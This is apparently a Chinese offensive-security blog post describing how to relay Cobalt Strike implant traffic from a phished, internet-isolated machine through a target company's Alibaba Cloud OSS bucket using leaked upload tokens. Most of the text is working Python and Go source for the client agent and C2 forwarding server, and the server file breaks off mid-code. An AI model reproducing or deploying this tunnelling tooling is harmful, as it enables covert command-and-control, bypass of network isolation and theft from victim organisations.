阿里云oss转发上线-实现不出网钓鱼
本地实现阿里云oss转发上线,全部代码在文末,代码存在冗余
实战环境
被钓鱼机器不出网只可访问内部网络包含集团oss
实战思路
若将我们的shellcode文件上传到集团oss上仍无法上线,那么就利用oss做中转使用本地转发进行上线,先发送一个本地监听木马到钓鱼机器,再发送一个client,也就是agent到钓鱼机器,当然可以将两个写成一块发送给钓鱼受害者,server端从oss读取到数据转发至cs监听端口
具体逻辑
1.根据网站oss的上传接口,获得上传成功的返回包(通常包含泄露的oss的token,上传成功的路径及其文件名)
2.我们将返回包的json全部复制到本地为新的json文件,命名为server.json和client.json
3.server端实现上传该json文件到目标oss存储桶
4.client端下载该json文件到钓鱼机器
5.client端通过读取下载的json文件获得相应上传路径,token,进行组合实现上传本地木马127.0.0.1:17777监听的请求数据到oss文件
6.server端下载读取oss文件的数据转发到cs木马x.x.x.x:17777监听端口
7.server端上传cs返回的数据到oss文件
8.client端下载读取oss文件内容到本地木马监听端口实现木马闭环
server和client都是持续开着的并且循环进行上传下载读取功能
本地为方便演示我们使用服务器下载json文件,提取json文件中的关键信息,进行上传
首先准备好阿里云oss的SDK
https://help.aliyun.com/zh/oss/developer-reference/go-installation?spm=
那么通过实际情况,一般上传接口是有oss的token
生成policy和signature
import os
from hashlib import sha1 as sha
import json
import base64
import hmac
import datetime
import time# 配置环境变量OSS_ACCESS_KEY_ID。
access_key_id = 'xxxxxxx'
# 配置环境变量OSS_ACCESS_KEY_SECRET。
access_key_secret = 'xxxxxxxxxxxx'
# 将<YOUR_BUCKET>替换为Bucket名称。
bucket = 'xxxx'
# host的格式为bucketname.endpoint。将<YOUR_BUCKET>替换为Bucket名称。将<YOUR_ENDPOINT>替换为OSS Endpoint,例如oss-cn-hangzhou.aliyuncs.com。
host = 'https://xxxx.oss-cn-shanghai.aliyuncs.com'
# 指定上传到OSS的文件前缀。
upload_dir = '1029/ff.txt'
# 指定过期时间,单位为秒。
expire_time = 14400def generate_expiration(seconds):"""通过指定有效的时长(秒)生成过期时间。:param seconds: 有效时长(秒)。:return: ISO8601 时间字符串,如:"2014-12-01T12:00:00.000Z"。"""now = int(time.time())expiration_time = now + secondsgmt = datetime.datetime.utcfromtimestamp(expiration_time).isoformat()gmt += 'Z'return gmtdef generate_signature(access_key_secret, expiration, conditions, policy_extra_props=None):"""生成签名字符串Signature。:param access_key_secret: 有权限访问目标Bucket的AccessKeySecret。:param expiration: 签名过期时间,按照ISO8601标准表示,并需要使用UTC时间,格式为yyyy-MM-ddTHH:mm:ssZ。示例值:"2014-12-01T12:00:00.000Z"。:param conditions: 策略条件,用于限制上传表单时允许设置的值。:param policy_extra_props: 额外的policy参数,后续如果policy新增参数支持,可以在通过dict传入额外的参数。:return: signature,签名字符串。"""policy_dict = {'expiration': expiration,'conditions': conditions}if policy_extra_props is not None:policy_dict.update(policy_extra_props)policy = json.dumps(policy_dict).strip()policy_encode = base64.b64encode(policy.encode())h = hmac.new(access_key_secret.encode(), policy_encode, sha)sign_result = base64.b64encode(h.digest()).strip()return sign_result.decode()def generate_upload_params():policy = {# 有效期。"expiration": generate_expiration(expire_time),# 约束条件。"conditions": [# 未指定success_action_redirect时,上传成功后的返回状态码,默认为 204。["eq", "$success_action_status", "200"],# 表单域的值必须以指定前缀开始。例如指定key的值以user/user1开始,则可以写为["starts-with", "$key", "user/user1"]。["starts-with", "$key", upload_dir],# 限制上传Object的最小和最大允许大小,单位为字节。["content-length-range", 1, 1000000],# 限制上传的文件为指定的图片类型["in", "$content-type", ["image/jpg", "image/png","text/plain","application/octet-stream"]]]}signature = generate_signature(access_key_secret, policy.get('expiration'), policy.get('conditions'))response = {'policy': base64.b64encode(json.dumps(policy).encode('utf-8')).decode(),'ossAccessKeyId': access_key_id,'signature': signature,'host': host,'dir': upload_dir# 可以在这里再自行追加其他参数}print(json.dumps(response))return json.dumps(response)if __name__ == '__main__':generate_upload_params();
这样就可以使用policy和signature
这里key不能只写1029/这样的路径,后面要加文件名才能成功上传
1029/ff.txt这种,我们先手动上传试试
可以看到上传成功,然后使用go写的客户端试试上传
客户端成功上传文件到oss,并且我们的上传是循环的,
上传的内容为
从oss下载之后,可以看到文件名字是policy.txt,这是从阿里云oss下载的文件名字(也就是Content-Disposition),但存储桶上是ff.txt的名字(也就是key)
目前客户端上传功能成功,然后写客户端下载功能,服务端的代码和客户端一样除了客户端要监听127.0.0.1:17777,服务器要发送到cs的ip:17777,这样就可以了,
当完成客户端上传下载,服务端下载功能时候收到请求上线如下
可以看到请求转发过来了(此时只是先客户端上传监听到的数据到oss,然后服务端下载到本地转发到cs服务器),那么我们需要完成服务端上传的功能,以至于cs的返回包上传到oss上,供客户端读取
可以看到server端的上传包(也就是上传的cs返回的包)
此时的问题是client和server的上传文件有冲突问题,client上传太快了,server会oss检测当前文件的内容和之前的内容是否一致,client传的太快会让server认为和上一个内容一样,所以就不上传返回包请求了,
可以看到ipconfig也可以
但是这个有个bug,就是运行client运行中间卡住了
最终方案,client端上传之后等待60秒,server端上传之后等待30秒,
最终代码:
client.go
package mainimport ("bytes""fmt""log""os""path/filepath""net""net/http""io""io/ioutil""encoding/json""mime/multipart""strings""net/url""time""strconv""encoding/base64""sync""github.com/google/uuid"
)var ClientUploadData *UploadDatavar previousContent string// 定义结构体:File 结构体
type UploadData struct {Key string `json:"key"`SuccessActionStatus string `json:"success_action_status"`ContentDisposition string `json:"Content-Disposition"`XOssMetaUUID string `json:"x-oss-meta-uuid"`XOssMetaTag string `json:"x-oss-meta-tag"`OSSAccessKeyID string `json:"OSSAccessKeyId"`Policy string `json:"policy"`Signature string `json:"Signature"`ActionURL string `json:"action"`FileName string `json:"file.filename"`FileContentType string `json:"file.content_type"`FileContent string `json:"file.content"`
}type UploadTokenResponse struct {Success interface{} `json:"success"`UploadData UploadData `json:"uploadData"`Error interface{} `json:"error"`
}func startClient(bind_address string) {log.Println("[+]", "客户端启动成功")server, err := net.Listen("tcp", bind_address)if err != nil {log.Fatalln("[x]", "listen address ["+bind_address+"] failed.")}for {conn, err := server.Accept()if err != nil {log.Println("Accept() failed, err: ", err)continue}log.Println("[+]", "有客户进入:", conn.RemoteAddr())go process(conn)}
}func Get(filename string) []byte {programDir, err := getProgramDirectory()if err != nil {log.Println("获取程序目录失败:", err)return nil}configFilePath := filepath.Join(programDir, filename)log.Println("程序目录:", programDir)log.Println("文件路径:", configFilePath)jsondate, err := readUploadTokenFromFile(configFilePath)if err != nil {log.Println("读取或解析JSON文件失败:", err)return nil}fileURL := jsondate.ActionURL + "/" + jsondate.Keylog.Println("Get.fileURL:", fileURL)fmt.Println(fileURL)resp, err := http.Get(fileURL)if err != nil {log.Println("读取文件内容失败:", err)return nil}defer resp.Body.Close()content, err := ioutil.ReadAll(resp.Body)if err != nil {log.Println("读取响应体失败:", err)return nil}log.Println("客户端下载读到的内容:", content)decodedContent, err := base64.StdEncoding.DecodeString(string(content))if err != nil {log.Println("Base64解码失败:", err)return nil}// 输出字符串内容log.Println("客户端下载读到的内容base64:", string(decodedContent))return content
}func renameFile(oldPath, newPath string) error {err := os.Rename(oldPath, newPath)if err != nil {return fmt.Errorf("无法重命名文件 %s 为 %s: %v", oldPath, newPath, err)}log.Printf("[+] 文件 %s 重命名为 %s", oldPath, newPath)return nil
}func saveToFile(filename, content string) {err := os.WriteFile(filename, []byte(content), 0644)if err != nil {log.Println("[x]", "保存文件失败:", err)}
}func getProgramDir() string {dir, err := os.Getwd()if err != nil {log.Println("[x]", "获取程序运行目录失败:", err)return "./"}return dir + "/"
}func FileExists(filePath string) bool {_, err := os.Stat(filePath)return err == nil
}func processContentAndSave(currentContent string) {var fileName stringif strings.Contains(currentContent, "client") {fileName = getProgramDir() + "Send-Client11.json"log.Println("[+]", "判断是否存在 client 文件")} else if strings.Contains(currentContent, "server") {fileName = getProgramDir() + "Send-Server11.json"log.Println("[+]", "判断是否存在 server 文件")} else {log.Println("[-]", "内容既不包含 client 也不包含 server,跳过处理")return}log.Println("[+]", "文件名:", fileName)if _, err := os.Stat(fileName); os.IsNotExist(err) {saveToFile(fileName, string(currentContent))log.Println("[+]", "文件不存在,已保存为:", fileName)} else if err == nil {log.Println("[+]", "文件已存在,跳过保存:", fileName)} else {log.Println("[-]", "检查文件时发生错误:", err)}
}func Getfile(filename string) (string, error) {defer func() {if r := recover(); r != nil {log.Printf("捕获异常:%v", r)}}()programDir, err := getProgramDirectory()if err != nil {return "", fmt.Errorf("failed to get program directory: %v", err)}configFilePath := filepath.Join(programDir, filename)jsondate, err := readUploadTokenFromFile(configFilePath)if err != nil {log.Println("读取或解析JSON文件失败:", err)return "", err}fileURL := jsondate.ActionURL + "/" + jsondate.Keylog.Println("Getfile.fileURL:",fileURL)resp, err := http.Get(fileURL)if err != nil {log.Println("读取文件内容失败:", err)return "", err}defer resp.Body.Close()return fileURL, nil
}func fetchFileContent(url string) (string, error) {resp, err := http.Get(url)if err != nil {return "", err}defer resp.Body.Close()body, err := ioutil.ReadAll(resp.Body)if err != nil {return "", err}return string(body), nil
}/*func uploadFile(UploadData UploadData, filename string, fileContent string) (string, error) {body := &bytes.Buffer{}writer := multipart.NewWriter(body)for key, value := range UploadData.Data {writer.WriteField(key, value)}fileReader := strings.NewReader(fileContent)part, err := writer.CreateFormFile(UploadData.Name, filename)if err != nil {return "", err}_, err = io.Copy(part, fileReader)if err != nil {return "", err}writer.Close()req, err := http.NewRequest("POST", UploadData.ActionURL, body)if err != nil {return "", err}req.Header.Set("Content-Type", writer.FormDataContentType())client := &http.Client{}resp, err := client.Do(req)if err != nil {return "", err}defer resp.Body.Close()location := resp.Header.Get("Location")if location == "" {fmt.Println("No location URL found in response headers.")}return location, nil
}*/func logRequest(req *http.Request) {log.Println("Request Method:", req.Method)log.Println("Request URL:", req.URL.String())log.Println("Request Headers:")for key, values := range req.Header {for _, value := range values {log.Printf(" %s: %s\n", key, value)}}// 打印请求体内容bodyBytes, err := io.ReadAll(req.Body)if err != nil {log.Println("Error reading request body:", err)return}req.Body = io.NopCloser(bytes.NewBuffer(bodyBytes)) // 恢复请求体log.Println("Request Body:", string(bodyBytes))
}func uploadFile(data UploadData, filename string, fileContent string) (string, error) {body := &bytes.Buffer{}writer := multipart.NewWriter(body)// Write fields directly from UploadData structwriter.WriteField("key", data.Key)writer.WriteField("success_action_status", data.SuccessActionStatus)writer.WriteField("Content-Disposition", data.ContentDisposition)writer.WriteField("x-oss-meta-uuid", data.XOssMetaUUID)writer.WriteField("x-oss-meta-tag", data.XOssMetaTag)writer.WriteField("OSSAccessKeyId", data.OSSAccessKeyID)writer.WriteField("policy", data.Policy)writer.WriteField("Signature", data.Signature)// Create form file part for file contentfileReader := strings.NewReader(fileContent)part, err := writer.CreateFormFile("file", filename)if err != nil {return "", err}_, err = io.Copy(part, fileReader)if err != nil {return "", err}writer.Close()// Create and send requestreq, err := http.NewRequest("POST", data.ActionURL, body)//req, err := http.NewRequest("POST", "https://xxxx.oss-cn-shanghai.aliyuncs.com", body)if err != nil {return "", err}req.Header.Set("Content-Type", writer.FormDataContentType())logRequest(req)//client := &http.Client{}proxyURL, _ := url.Parse("http://127.0.0.1:8083")if err != nil {return "", fmt.Errorf("invalid proxy URL: %v", err)}client := &http.Client{Transport: &http.Transport{Proxy: http.ProxyURL(proxyURL),},}resp, err := client.Do(req)if err != nil {return "", err}defer resp.Body.Close()location := resp.Header.Get("Location")if location == "" {fmt.Println("No location URL found in response headers.")}return location, nil
}func findErrorLine(data []byte, offset int64) (line int, col int) {line = 1col = 1for i := int64(0); i < offset; i++ {if data[i] == '\n' {line++col = 1} else {col++}}return
}/*func parseUploadToken(jsonData []byte) (UploadData, error) {var tokenResponse UploadTokenResponseerr := json.Unmarshal(jsonData, &tokenResponse)if err != nil {return UploadData{}, fmt.Errorf("Error unmarshaling JSON: %v", err)}// 如果 tokenResponse.Result.UploadData.Data 本身已经是 map[string]string,直接返回return tokenResponse.UploadData, nil
}*/func parseUploadToken(jsonData []byte) (UploadData, error) {
// var tokenResponse UploadTokenResponsevar uploadData UploadDataerr := json.Unmarshal(jsonData, &uploadData)if err != nil {return UploadData{}, fmt.Errorf("Error unmarshaling JSON: %v", err)}// 如果 tokenResponse.Result.UploadData.Data 本身已经是 map[string]string,直接返回log.Println("parseUploadToken.UploadData",uploadData)return uploadData, nil
}func getProgramDirectory() (string, error) {execPath, err := os.Executable()if err != nil {return "", err}return filepath.Dir(execPath), nil
}func readUploadTokenFromFile(filename string) (UploadData, error) {programDir, err := getProgramDirectory()if err != nil {return UploadData{}, fmt.Errorf("failed to get program directory: %v", err)}filename = filepath.Base(filename)configFilePath := filepath.Join(programDir, filename)data, err := ioutil.ReadFile(configFilePath)if err != nil {return UploadData{}, fmt.Errorf("failed to read file %s: %v", configFilePath, err)}uploadData, err := parseUploadToken(data)if err != nil {return UploadData{}, fmt.Errorf("failed to parse JSON from file %s: %v", configFilePath, err)}return uploadData, nil
}func Send(name string, filename string, content string) {UploadData, err := readUploadTokenFromFile(name)if err != nil {fmt.Println("Error reading or parsing JSON from file:", err)return}_, err = uploadFile(UploadData, filename, content)if err != nil {log.Println("文件上传失败:", err)return}
}var fileLock sync.Mutex // 定义一个文件锁func process(conn net.Conn) {defer func() {if r := recover(); r != nil {log.Printf("捕获异常:%v", r)}}()uuid := uuid.New()key := uuid.String()defer conn.Close()var buffer bytes.Buffer_ = conn.SetReadDeadline(time.Now().Add(10 * time.Second))for {var buf [1]byten, err := conn.Read(buf[:])if err != nil {log.Println("[-]", uuid, "read from connect failed, err:", err)break}buffer.Write(buf[:n])if strings.Contains(buffer.String(), "\r\n\r\n") {if strings.Contains(buffer.String(), "Content-Length") {ContentLength := buffer.String()[strings.Index(buffer.String(), "Content-Length: ")+len("Content-Length: ") : strings.Index(buffer.String(), "Content-Length: ")+strings.Index(buffer.String()[strings.Index(buffer.String(), "Content-Length: "):], "\n")]log.Println("[+]", uuid, "数据包长度为:", strings.TrimSpace(ContentLength))if strings.TrimSpace(ContentLength) != "0" {intContentLength, err := strconv.Atoi(strings.TrimSpace(ContentLength))if err != nil {log.Println("[-]", uuid, "Content-Length转换失败")}for i := 1; i <= intContentLength; i++ {var b [1]byten, err = conn.Read(b[:])if err != nil {log.Println("[-]", uuid, "read from connect failed, err", err)break}buffer.Write(b[:n])}}}if strings.Contains(buffer.String(), "Transfer-Encoding: chunked") {for {var b [1]byten, err = conn.Read(b[:])if err != nil {log.Println("[-]", uuid, "read from connect failed, err", err)break}buffer.Write(b[:n])if strings.Contains(buffer.String(), "0\r\n\r\n") {break}}}log.Println("[+]", uuid, "从客户端接受HTTP头完毕")break}}b64 := base64.StdEncoding.EncodeToString(buffer.Bytes())Send("Send-Client.json", key+"client.zip", b64)log.Println("[+]发送成功")log.Println("文件上传完成,暂停60秒...")time.Sleep(60 * time.Second) // Pause for 60 secondsi := 1for {i++time.Sleep(1 * time.Second)if i >= 10 {log.Println("[x]", "超时,断开")return}clientURL, err := Getfile("Send-Server.json")if err != nil {log.Println("[-]", "获取服务器文件失败:", err)return}log.Println("[-]", "process.clientURL:", clientURL)currentContent, err := fetchFileContent(clientURL)if err != nil {log.Println("[-]", "获取客户端文件失败:", err)return}if strings.TrimSpace(currentContent) != strings.TrimSpace(previousContent) {/*if strings.HasPrefix(currentContent, `{"success`) {processContentAndSave(currentContent)if FileExists(getProgramDir()+"Send-Server11.json") && FileExists(getProgramDir()+"Send-Client11.json") {clientNewPath := getProgramDir() + "Send-Client.json"os.Remove(clientNewPath)err = renameFile(getProgramDir()+"Send-Client11.json", clientNewPath)if err != nil {log.Fatalf("重命名 server 文件时发生错误: %v", err)}os.Remove(getProgramDir() + "Send-Client11.json")time.Sleep(5 * time.Second)serverNewPath := getProgramDir() + "Send-Server.json"os.Remove(serverNewPath)err = renameFile(getProgramDir()+"Send-Server11.json", serverNewPath)if err != nil {log.Fatalf("重命名 server 文件时发生错误: %v", err)}os.Remove(getProgramDir() + "Send-Server11.json")}}*/log.Println("[+]", "文件内容不一致,开始处理")previousContent = currentContentbuff := Get("Send-Server.json")if buff != nil {log.Println("[x]", uuid, "收到服务器消息")time.Sleep(1 * time.Second)sDec, err := base64.StdEncoding.DecodeString(string(buff))if err != nil {log.Println("[x]", uuid, "Base64解码错误")return}conn.Write(sDec)break}} else {log.Println("[+]", "文件内容一致,无需处理")previousContent = currentContentbuff := Get("Send-Server.json")if buff != nil {log.Println("[x]", uuid, "收到服务器消息")time.Sleep(1 * time.Second)sDec, err := base64.StdEncoding.DecodeString(string(buff))if err != nil {log.Println("[x]", uuid, "Base64解码错误")return}conn.Write(sDec)breakreturn}}}log.Println("[+]", "发送完成")
}func checkURLStatus(url string) bool {resp, err := http.Head(url)if err != nil {fmt.Printf("检查 URL 失败: %v\n", err)return false}defer resp.Body.Close()if resp.StatusCode == http.StatusOK {return true}fmt.Printf("URL %s 返回状态码: %d\n", url, resp.StatusCode)return false
}func waitForNextHalfHour() {now := time.Now()next := now.Truncate(30 * time.Minute).Add(30 * time.Minute)duration := next.Sub(now)fmt.Printf("等待 %v 到下一个下载时间...\n", duration)time.Sleep(duration)
}func downloadFile(filepath string, url string) error {resp, err := http.Get(url)if err != nil {return err}defer resp.Body.Close()out, err := os.Create(filepath)if err != nil {return err}defer out.Close()_, err = io.Copy(out, resp.Body)return err
}func safeDownloadFile(filepath string, url string) error {tempFilepath := filepath + ".tmp"err := downloadFile(tempFilepath, url)if err != nil {return fmt.Errorf("下载失败: %w", err)}err = os.Rename(tempFilepath, filepath)if err != nil {return fmt.Errorf("替换文件失败: %w", err)}return nil
}func timedownload() {execPath, err := os.Executable()if err != nil {fmt.Printf("获取程序路径失败: %v\n", err)return}execDir := filepath.Dir(execPath)filepath1 := filepath.Join(execDir, "Send-Client.json")filepath2 := filepath.Join(execDir, "Send-Server.json")url1 := "http://xxxxx:xx/Send-Client.json"url2 := "http://xxxxx:xx/Send-Server.json"fmt.Printf("检查文件1:%s\n", url1)if checkURLStatus(url1) {err = safeDownloadFile(filepath1, url1)if err != nil {fmt.Printf("下载失败: %v\n", err)} else {fmt.Println("下载成功")}} else {fmt.Println("URL不可用,跳过下载:", url1)}fmt.Printf("检查文件2:%s\n", url2)if checkURLStatus(url2) {err = safeDownloadFile(filepath2, url2)if err != nil {fmt.Printf("下载失败: %v\n", err)} else {fmt.Println("下载成功")}} else {fmt.Println("URL不可用,跳过下载:", url2)}for {waitForNextHalfHour()fmt.Printf("检查文件1:%s\n", url1)if checkURLStatus(url1) {err = safeDownloadFile(filepath1, url1)if err != nil {fmt.Printf("下载失败: %v\n", err)} else {fmt.Println("下载成功")}} else {fmt.Println("URL不可用,跳过下载:", url1)}fmt.Printf("检查文件2:%s\n", url2)if checkURLStatus(url2) {err = safeDownloadFile(filepath2, url2)if err != nil {fmt.Printf("下载失败: %v\n", err)} else {fmt.Println("下载成功")}} else {fmt.Println("URL不可用,跳过下载:", url2)}}}func main() {go timedownload()bind_address := "127.0.0.1:17777"startClient(bind_address)}
server.go
package mainimport ("bytes""fmt""log""os""path/filepath""net""net/http""io""io/ioutil""encoding/json""mime/multipart""strings""net/url""time""strconv""encoding/base64""sync")var ClientUploadData *UploadDatavar previousContent string // 存储上一次文件内容// 定义结构体:File 结构体
type UploadData struct {Key string `json:"key"`SuccessActionStatus string `json:"success_action_status"`ContentDisposition string `json:"Content-Disposition"`XOssMetaUUID string `json:"x-oss-meta-uuid"`XOssMetaTag string `json:"x-oss-meta-tag"`OSSAccessKeyID string `json:"OSSAccessKeyId"`Policy string `json:"policy"`Signature string `json:"Signature"`ActionURL string `json:"action"`FileName string `json:"file.filename"`FileContentType string `json:"file.content_type"`FileContent string `json:"file.content"`
}type UploadTokenResponse struct {Success interface{} `json:"success"`UploadData UploadData `json:"uploadData"`Error interface{} `json:"error"`
}func Get(filename string) []byte {programDir, err := getProgramDirectory()if err != nil {log.Println("获取程序目录失败:", err)return nil}configFilePath := filepath.Join(programDir, filename)log.Println("程序目录:", programDir)log.Println("文件路径:", configFilePath)jsondate, err := readUploadTokenFromFile(configFilePath)log.Println("jsondate:",jsondate)if err != nil {log.Println("读取或解析JSON文件失败:", err)return nil}fileURL := jsondate.ActionURL + "/" + jsondate.Keyfmt.Println(fileURL)resp, err := http.Get(fileURL)if err != nil {log.Println("读取文件内容失败:", err)return nil}defer resp.Body.Close()content, err := ioutil.ReadAll(resp.Body)if err != nil {log.Println("读取响应体失败:", err)return nil}log.Println("内容:", content)return content
}func renameFile(oldPath, newPath string) error {err := os.Rename(oldPath, newPath)if err != nil {return fmt.Errorf("无法重命名文件 %s 为 %s: %v", oldPath, newPath, err)}log.Printf("[+] 文件 %s 重命名为 %s", oldPath, newPath)return nil
}func saveToFile(filename, content string) {err := os.WriteFile(filename, []byte(content), 0644)if err != nil {log.Println("[x]", "保存文件失败:", err)}
}func getProgramDir() string {dir, err := os.Getwd()if err != nil {log.Println("[x]", "获取程序运行目录失败:", err)return "./"}return dir + "/"
}func FileExists(filePath string) bool {_, err := os.Stat(filePath)return err == nil
}func processContentAndSave(currentContent string) {var fileName stringif strings.Contains(currentContent, "client") {fileName = getProgramDir() + "Send-Client11.json"log.Println("[+]", "判断是否存在 client 文件")} else if strings.Contains(currentContent, "server") {fileName = getProgramDir() + "Send-Server11.json"log.Println("[+]", "判断是否存在 server 文件")} else {log.Println("[-]", "内容既不包含 client 也不包含 server,跳过处理")return}log.Println("[+]", "文件名:", fileName)if _, err := os.Stat(fileName); os.IsNotExist(err) {saveToFile(fileName, string(currentContent))log.Println("[+]", "文件不存在,已保存为:", fileName)} else if err == nil {log.Println("[+]", "文件已存在,跳过保存:", fileName)} else {log.Println("[-]", "检查文件时发生错误:", err)}
}func Getfile(filename string) (string, error) {defer func() {if r := recover(); r != nil {log.Printf("捕获异常:%v", r)}}()programDir, err := getProgramDirectory()log.Println("programDir:", programDir)if err != nil {return "", fmt.Errorf("failed to get program directory: %v", err)}configFilePath := filepath.Join(programDir, filename)log.Println("configFilePath:", configFilePath)jsondate, err := readUploadTokenFromFile(configFilePath)if err != nil {log.Println("读取或解析JSON文件失败:", err)return "", err}fileURL := jsondate.ActionURL + "/" + jsondate.Keylog.Println("fileURL:", fileURL)resp, err := http.Get(fileURL)if err != nil {log.Println("读取文件内容失败:", err)return "", err}defer resp.Body.Close()return fileURL, nil
}func fetchFileContent(url string) (string, error) {resp, err := http.Get(url)if err != nil {return "", err}defer resp.Body.Close()body, err := ioutil.ReadAll(resp.Body)if err != nil {return "", err}log.Println(string(body))return string(body), nil
}/*func uploadFile(UploadData UploadData, filename string, fileContent string) (string, error) {body := &bytes.Buffer{}writer := multipart.NewWriter(body)for key, value := range UploadData.Data {writer.WriteField(key, value)}fileReader := strings.NewReader(fileContent)part, err := writer.CreateFormFile(UploadData.Name, filename)if err != nil {return "", err}_, err = io.Copy(part, fileReader)if err != nil {return "", err}writer.Close()req, err := http.NewRequest("POST", UploadData.ActionURL, body)if err != nil {return "", err}req.Header.Set("Content-Type", writer.FormDataContentType())client := &http.Client{}resp, err := client.Do(req)if err != nil {return "", err}defer resp.Body.Close()location := resp.Header.Get("Location")if location == "" {fmt.Println("No location URL found in response headers.")}return location, nil
}*/func logRequest(req *http.Request) {log.Println("Request Method:", req.Method)log.Println("Request URL:", req.URL.String())log.Println("Request Headers:")for key, values := range req.Header {for _, value := range values {log.Printf(" %s: %s\n", key, value)}}// 打印请求体内容bodyBytes, err := io.ReadAll(req.Body)if err != nil {log.Println("Error reading request body:", err)return}req.Body = io.NopCloser(bytes.NewBuffer(bodyBytes)) // 恢复请求体log.Println("Request Body:", string(bodyBytes))
}func uploadFile(data UploadData, filename string, fileContent string) (string, error) {body := &bytes.Buffer{}writer := multipart.NewWriter(body)// Write fields directly from UploadData structwriter.WriteField("key", data.Key)writer.WriteField("success_action_status", data.SuccessActionStatus)writer.WriteField("Content-Disposition", data.ContentDisposition)writer.WriteField("x-oss-meta-uuid", data.XOssMetaUUID)writer.WriteField("x-oss-meta-tag", data.XOssMetaTag)writer.WriteField("OSSAccessKeyId", data.OSSAccessKeyID)writer.WriteField("policy", data.Policy)writer.WriteField("Signature", data.Signature)// Create form file part for file contentfileReader := strings.NewReader(fileContent)part, err := writer.CreateFormFile("file", filename)if err != nil {return "", err}_, err = io.Copy(part, fileReader)if err != nil {return "", err}writer.Close()// Create and send requestreq, err := http.NewRequest("POST", data.ActionURL, body)//req, err := http.NewRequest("POST", "https://xxx.oss-cn-shanghai.aliyuncs.com", body)if err != nil {return "", err}req.Header.Set("Content-Type", writer.FormDataContentType())logRequest(req)//client := &http.Client{}proxyURL, _ := url.Parse("http://127.0.0.1:8083")if err != nil {return "", fmt.Errorf("invalid proxy URL: %v", err)}client := &http.Client{Transport: &http.Transport{Proxy: http.ProxyURL(proxyURL),},}resp, err := client.Do(req)if err != nil {return "", err}defer resp.Body.Close()location := resp.Header.Get("Location")if location == "" {fmt.Println("No location URL found in response headers.")}return location, nil
}func findErrorLine(data []byte, offset int64) (line int, col int) {line = 1col = 1for i := int64(0); i < offset; i++ {if data[i] == '\n' {line++col = 1} else {col++}}return
}func parseUploadToken(jsonData []byte) (UploadData, error) {
// var tokenResponse UploadTokenResponsevar uploadData UploadDataerr := json.Unmarshal(jsonData, &uploadData)if err != nil {return UploadData{}, fmt.Errorf("Error unmarshaling JSON: %v", err)}// 如果 tokenResponse.Result.UploadData.Data 本身已经是 map[string]string,直接返回log.Println("parseUploadToken.UploadData",uploadData)return uploadData, nil
}func getProgramDirectory() (string, error) {execPath, err := os.Executable()if err != nil {return "", err}return filepath.Dir(execPath), nil
}func readUploadTokenFromFile(filename string) (UploadData, error) {programDir, err := getProgramDirectory()if err != nil {return UploadData{}, fmt.Errorf("failed to get program directory: %v", err)}filename = filepath.Base(filename)log.Println("filename=>",filename)configFilePath := filepath.Join(programDir, filename)log.Println("readUploadTokenFromFile,configFilePath=>",configFilePath)data, err := ioutil.ReadFile(configFilePath)if err != nil {return UploadData{}, fmt.Errorf("failed to read file %s: %v", configFilePath, err)}uploadData, err := parseUploadToken(data)if err != nil {return UploadData{}, fmt.Errorf("failed to parse JSON from file %s: %v", configFilePath, err)}return uploadData, nil
}func Send(name string, filename string, content string) {UploadData, err := readUploadTokenFromFile(name)if err != nil {fmt.Println("Error reading or parsing JSON from file:", err)return}_, err = uploadFile(UploadData, filename, content)if err != nil {log.Println("文件上传失败:", err)return}
}func checkURLStatus(url string) bool {resp, err := http.Head(url)if err != nil {fmt.Printf("检查 URL 失败: %v\n", err)return false}defer resp.Body.Close()if resp.StatusCode == http.StatusOK {return true}fmt.Printf("URL %s 返回状态码: %d\n", url, resp.StatusCode)return false
}func waitForNextHalfHour() {now := time.Now()next := now.Truncate(30 * time.Minute).Add(30 * time.Minute)duration := next.Sub(now)fmt.Printf("等待 %v 到下一个下载时间...\n", duration)time.Sleep(duration)
}func downloadFile(filepath string, url string) error {resp, err := http.Get(url)if err != nil {return err}defer resp.Body.Close()out, err := os.Create(filepath)if err != nil {return err}defer out.Close()_, err = io.Copy(out, resp.Body)return err
}func safeDownloadFile(filepath string, url string) error {tempFilepath := filepath + ".tmp"err := downloadFile(tempFilepath, url)if err != nil {return fmt.Errorf("下载失败: %w", err)}err = os.Rename(tempFilepath, filepath)if err != nil {return fmt.Errorf("替换文件失败: %w", err)}return nil
}func timedownload() {execPath, err := os.Executable()if err != nil {fmt.Printf("获取程序路径失败: %v\n", err)return}execDir := filepath.Dir(execPath)filepath1 := filepath.Join(execDir, "Send-Client.json")filepath2 := filepath.Join(execDir, "Send-Server.json")url1 := "http://x.x.x.x:x/Send-Client.json"url2 := "http://x.x.x.x:x/Send-Server.json"fmt.Printf("检查文件1:%s\n", url1)if checkURLStatus(url1) {err = safeDownloadFile(filepath1, url1)if err != nil {fmt.Printf("下载失败: %v\n", err)} else {fmt.Println("下载成功")}} else {fmt.Println("URL不可用,跳过下载:", url1)}fmt.Printf("检查文件2:%s\n", url2)if checkURLStatus(url2) {err = safeDownloadFile(filepath2, url2)if err != nil {fmt.Printf("下载失败: %v\n", err)} else {fmt.Println("下载成功")}} else {fmt.Println("URL不可用,跳过下载:", url2)}/* for {waitForNextHalfHour()fmt.Printf("检查文件1:%s\n", url1)if checkURLStatus(url1) {err = safeDownloadFile(filepath1, url1)if err != nil {fmt.Printf("下载失败: %v\n", err)} else {fmt.Println("下载成功")}} else {fmt.Println("URL不可用,跳过下载:", url1)}fmt.Printf("检查文件2:%s\n", url2)if checkURLStatus(url2) {err = safeDownloadFile(filepath2, url2)if err != nil {fmt.Printf("下载失败: %v\n", err)} else {fmt.Println("下载成功")}} else {fmt.Println("URL不可用,跳过下载:", url2)}}*/}var fileLock sync.RWMutex // 定义一个文件锁
var taskQueue = make(chan string, 100) // 定义一个任务队列func processQueue() {for task := range taskQueue {log.Println("[+]", "处理队列中的任务:", task)processServerWithLock(task) // 有序地处理任务}
